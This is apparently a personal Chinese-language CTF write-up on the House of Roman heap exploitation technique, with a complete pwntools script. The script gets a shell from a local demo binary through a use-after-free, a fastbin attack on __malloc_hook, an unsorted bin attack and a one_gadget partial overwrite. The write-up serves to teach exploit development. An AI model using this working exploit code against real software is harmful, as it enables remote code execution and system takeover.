记录一下,防止以后忘了
house_of_roman:
该技术用于 bypass ALSR,利用12-bit 的爆破来达到获取shell的目的。且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下就能完成利用
house_of_roman的作者提供了一个demo作为展示
利用大概分三个步骤:
- 将 FD 指向 malloc_hook
- 修正 0x71 的 Freelist
- 往 malloc_hook 写入 one gadget
先分析下程序:
程序开启了PIE和NX,一共有3个功能
程序存在UAF漏洞和堆溢出漏洞
堆溢出:
UAF:
程序的大致情况了解了后,分析作者的利用过程
我将作者的利用过程又细分了下
- 先分配3个chunk(0,1,2),大小分别为0x20,0xd0,0x70
- 用write_chunk功能在chunk2 + 0x68上设置fakesize 为0x61,用于后面的fastbins attack
- 将chunk1 free 掉后再分配,使得chunk1中包含main_arean+0x88的指针
- 然后分配3个大小为0x70的chunk(3,4,5),为后面做准备
- 通过堆溢出漏洞,将chunk1的size字段伪造为0x71,然后将chunk2,chunk3 free掉,通过UAF漏洞,将chunk3的fd指针最低位修改成0x20,将chunk1加入fastbins list中
- 将chunk1的fd修改成 __malloc_hook-0x23,之所以修改成__malloc_hook-0x23 ,是为了后面的fastbin dup, __malloc_hook - 0x23 + 0x8的地址上的值为0x7f
- 连续分配3个大小为0x70的chunk,就可以获得包含__malloc_hook的chunk,将这个chunk指针赋给chunk0
- free掉chunk4,通过uaf,将chunk4的FD修改为0,修复fastbins list
- 利用unsorted bins attack 向__malloc_hook写入main_arena+0x88
- 通过编辑功能,将__malloc_hook的低三个字节修改成one_gadget的偏移
- 最后连续free chunk5两次,通过malloc_printerr来出发malloc,getshell
为了方便调试,我关掉了aslr
- 设置fake_size
fake = "A"*0x68
fake += p64(0x61) ## fake size
edit(1,fake)
- free chunk1,使其包含main_arena+0x88的地址
*分配3个大小为0x70的chunk,修改chunk1的size字段为0x71
create(0x65,3) # chunk3 0x555555757170
create(0x65,15) # chunk4 0x5555557571e0
create(0x65,18) # chunk5 0x555555757250
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
- free掉chunk2,chunk3,通过uaf将chunk3的fd最低为修改为'\x20',将chunk1加入fastbins list中
delete(2)
delete(3)
heap_po = "\x20"
edit(3,heap_po)
- 利用write功能,将chunk1的fd指针最低两位修改成'\xed\x1a',即将fd修改为__malloc_hook - 0x23,这是为了利用fastbins dup 获得包含__malloc_hook的chunk, 原因上面说了,因为__malloc_hook - 0x23 +0x8地址的值为0x7f,可以绕过检测
malloc_hook_nearly = "\xed\x1a" #__malloc_hook - 0x23
edit(1,malloc_hook_nearly)
- 连续分配三次大小为0x70的chunk,就可以获得包含__malloc_hook的chunk了
- 利用 unsorted bin attack 向__malloc_hook中写入main_arena+0x88,使__malloc_hook中包含libc的地址
create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
delete(1)
po = "B"*8
po += "\x00\x1b" # 这个是__memalign_hook的最低两位,为了将bk修改为__malloc_hook - 0x10
edit(1,po)
create(0xc8,1)
- 通过修改chunk0,将__malloc_hook的低三位修改为one_gadget
over = "R"*0x13 # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)
此时 __malloc_hook附近的内容为下图,padding的计算是分配包含__malloc_hook的chunk的地址 减去 __malloc_hook的地址
- 最后通过连续free同一块chunk,通过malloc_printerr 来触发malloc getshell
exp:
from pwn import*
#context.log_level = 'debug'
p = process('./new_chall')
def create(size,idx):
p.recv()
p.sendline('1')
p.recv()
p.sendline(str(size))
p.recv()
p.sendline(str(idx))
def edit(idx,content):
p.recv()
p.sendline('2')
p.recv()
p.sendline(str(idx))
p.recv()
p.send(content)
def delete(idx):
p.recv()
p.sendline('3')
p.recv()
p.sendline(str(idx))
p.recvuntil(":")
p.sendline("zs0zrc")
create(0x18,0) # chunk0 0x20
create(0xc8,1) # chunk1 d0 0x555555757030
create(0x65,2) # chunk2 0x70 0x555555757100
fake = "A"*0x68
fake += p64(0x61) ## fake size
edit(1,fake)
log.info('edit chunk 1 to fake')
delete(1)
create(0xc8,1)
create(0x65,3) # chunk3 0x555555757170
create(0x65,15) # chunk4 0x5555557571e0
create(0x65,18) # chunk5 0x555555757250
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
log.info('set chunk 1 size --> 0x71')
delete(2)
delete(3)
heap_po = "\x20"
edit(3,heap_po)
log.info('ADD b to fastbins list')
# malloc_hook-->[0x7ffff7dd1b10]
malloc_hook_nearly = "\xed\x1a" #__malloc_hook - 0x23
edit(1,malloc_hook_nearly)
log.info("change B fd ")
create(0x65,0)
create(0x65,0)
create(0x65,0) #malloc a chunk include malloc_hook
delete(15)
edit(15,p64(0))#fix fastbins list
log.info('fix fastbins list')
create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
delete(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)
log.info('use unsortbins attack change malloc_hook to main_arena + 0x88')
over = "R"*0x13 # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)
delete(18)
delete(18)
p.interactive()